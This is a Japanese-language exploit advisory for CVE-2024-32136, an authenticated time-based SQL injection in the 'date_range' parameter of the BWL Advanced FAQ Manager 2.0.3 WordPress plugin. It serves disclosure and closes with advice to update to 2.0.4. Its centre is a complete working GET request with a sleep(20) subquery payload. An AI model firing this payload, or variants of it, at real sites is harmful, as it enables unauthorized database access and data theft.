
エクスプロイトタイトル: BWL Advanced FAQ Manager 2.0.3 - 認証後SQLインジェクション
日付: 2024年4月14日
エクスプロイト作成者: Ivan Spiridonov (xbz0n)
ソフトウェアリンク: https://codecanyon.net/item/bwl-advanced-faq-manager/5007135
バージョン: 2.0.3
テスト済み: Ubuntu 20.04
CVE: CVE-2024-32136
SQLインジェクションは、攻撃者がアプリケーションのデータベースクエリに干渉することを可能にするセキュリティ脆弱性の一種です。通常、クライアントからアプリケーションへの入力データを介して、SQLクエリを挿入(または「インジェクション」)します。SQLインジェクションのエクスプロイトが成功すると、データベースから機密データを読み取ったり、データベースのデータを変更(挿入/更新/削除)したり、データベースに対する管理操作(DBMSのシャットダウンなど)を実行したり、DBMSファイルシステム上に存在する特定のファイルの内容を復元したり、場合によってはオペレーティングシステムにコマンドを発行したりすることができます。
この脆弱性は、BWL Advanced FAQ Manager プラグインの 'bwl-advanced-faq-analytics' ページで使用される 'date_range' パラメータに存在します。認証された攻撃者は、このパラメータへの入力を操作することで、データベース内で任意のSQLコマンドを実行できます。
次のGETリクエストは、この脆弱性を示しています:
GET /wp-admin/edit.php?page=bwl-advanced-faq-analytics&post_type=bwl_advanced_faq&filter_type=views&date_range=(select*from(select(sleep(20)))a)&faq_id=all HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost/wp-admin/edit.php?post_type=bwl_advanced_faq&page=bwl-advanced-faq-analytics
Connection: close
Cookie: [Relevant Cookies]
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
サーバーの応答が約20秒遅延した場合、時間ベースのSQLインジェクションの悪用が成功したことを示しており、この脆弱性が確認されます。
BWL Advanced FAQ Manager v2.0.3 のユーザーは、プラグインを修正版である v2.0.4 に更新することをお勧めします。